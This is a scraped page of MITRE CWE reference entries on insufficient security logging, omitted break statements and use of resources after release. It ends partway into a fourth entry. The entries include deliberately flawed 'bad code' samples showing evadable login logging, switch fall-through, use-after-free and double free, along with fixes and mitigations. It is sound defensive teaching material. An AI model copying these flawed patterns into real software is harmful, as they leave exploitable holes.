For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.778Insufficient Logging
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1210Audit / Logging Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1009Audit
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation

Technical Impact: Hide Activities

The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.
+ Demonstrative Examples

Example 1

This code logs suspicious multiple login attempts.

(bad code)
Example Language: PHP 
function login($userName,$password){
if(authenticate($userName,$password)){
return True;
}
else{
incrementLoginAttempts($userName);
if(recentLoginAttempts($userName) > 5){
writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );
}
}
}

This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, they can stop their attack from being discovered by avoiding the limit.

Example 2

This code prints the contents of a file if a user has permission.

(bad code)
Example Language: PHP 
function readFile($filename){
$user = getCurrentUser();
$realFile = $filename;

//resolve file if its a symbolic link
if(is_link($filename)){
$realFile = readlink($filename);
}

if(fileowner($realFile) == $user){
echo file_get_contents($realFile);
return;
}
else{
echo 'Access denied';
writeLog($user . ' attempted to access the file '. $filename . ' on '. date('r'));
}
}

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure their target by giving the script the name of a link to the file they are attempting to access. Also note this code contains a race condition between the is_link() and readlink() functions (CWE-363).

+ Observed Examples
ReferenceDescription
Login attempts are not recorded if the user disconnects before the maximum number of tries.
Sender's IP address not recorded in outgoing e-mail.
Failed authentication attempts are not recorded if later attempt succeeds.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.997SFP Secondary Cluster: Information Loss
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1036OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1355OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROmission of Security-relevant Information
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Accountability", Page 40. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples

CWE-484: Omitted Break Statement in Switch

Weakness ID: 484
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
+ Extended Description
This can lead to critical code executing in situations where it should not.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.670Always-Incorrect Control Flow Implementation
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

PHP (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Alter Execution Logic

This weakness can cause unintended logic to be executed and other unexpected application behavior.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

In both of these examples, a message is printed based on the month passed into the function:

(bad code)
Example Language: Java 
public void printMessage(int month){
switch (month) {

case 1: print("January");
case 2: print("February");
case 3: print("March");
case 4: print("April");
case 5: print("May");
case 6: print("June");
case 7: print("July");
case 8: print("August");
case 9: print("September");
case 10: print("October");
case 11: print("November");
case 12: print("December");
}
println(" is a great month");
}
(bad code)
Example Language:
void printMessage(int month){
switch (month) {

case 1: printf("January");
case 2: printf("February");
case 3: printf("March");
case 4: printf("April");
case 5: printff("May");
case 6: printf("June");
case 7: printf("July");
case 8: printf("August");
case 9: printf("September");
case 10: printf("October");
case 11: printf("November");
case 12: printf("December");
}
printf(" is a great month");
}

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

+ Potential Mitigations

Phase: Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

Phase: Implementation

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected product behavior is required to interpret whether the code is correct.

Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1307CISQ Quality Measures - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPOmitted break statement
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Switch Statements", Page 337. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Detection_Factors, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, Name, Other_Notes, Potential_Mitigations, Weakness_Ordinalities
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2019-01-03CWE Content TeamMITRE
updated Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Detection_Factors
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-11-24Omitted Break Statement

CWE-672: Operation on a Resource after Expiration or Release

Weakness ID: 672
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.666Operation on Resource in Wrong Phase of Lifetime
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.298Improper Validation of Certificate Expiration
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.324Use of a Key Past its Expiration Date
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.910Use of Expired File Descriptor
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.562Return of Stack Variable Address
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.826Premature Release of Resource During Expected Lifetime
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.911Improper Update of Reference Count
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1341Multiple Releases of Same Resource or Handle
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Modify Application Data; Read Application Data

If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.
Other
Availability

Technical Impact: Other; DoS: Crash, Exit, or Restart

When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.
+ Demonstrative Examples

Example 1

The following code shows a simple example of a use after free error:

(bad code)
Example Language:
char* ptr = (char*)malloc (SIZE);
if (err) {
abrt = 1;
free(ptr);
}
...
if (abrt) {
logError("operation aborted before commit", ptr);
}

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2

The following code shows a simple example of a double free error:

(bad code)
Example Language:
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
free(ptr);
}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

  • Error conditions and other exceptional circumstances
  • Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 3

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

(bad code)
Example Language:
#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32

int processMessage(char **message)
{
int result = SUCCESS;

int length = getMessageLength(message[0]);
char *messageBody;

if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];

int success = processMessageBody(messageBody);

if (success == ERROR) {
result = ERROR;
free(messageBody);
}
}
else {
printf("Unable to process message; invalid message length");
result = FAIL;
}

if (result == ERROR) {
logError("Error processing message", messageBody);
}

return result;
}

However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

(good code)
Example Language:
...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];

int success = processMessageBody(messageBody);

if (success == ERROR) {
result = ERROR;
logError("Error processing message", messageBody);
free(messageBody);
}
...
+ Observed Examples
ReferenceDescription
Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.983SFP Secondary Cluster: Faulty Resource Use
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1415Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP15Faulty Resource Use
CERT C Secure CodingFIO46-CCWE More AbstractDo not access a closed file
CERT C Secure CodingMEM30-CCWE More AbstractDo not access freed memory
OMG ASCSMASCSM-CWE-672
+ References
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-672. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Relationships
2010-09-27CWE Content TeamMITRE
updated Observed_Examples, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Use of a Resource after Expiration or Release

CWE-666: Operation on Resource in Wrong Phase of Lifetime

Weakness ID: 666
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.
+ Extended Description
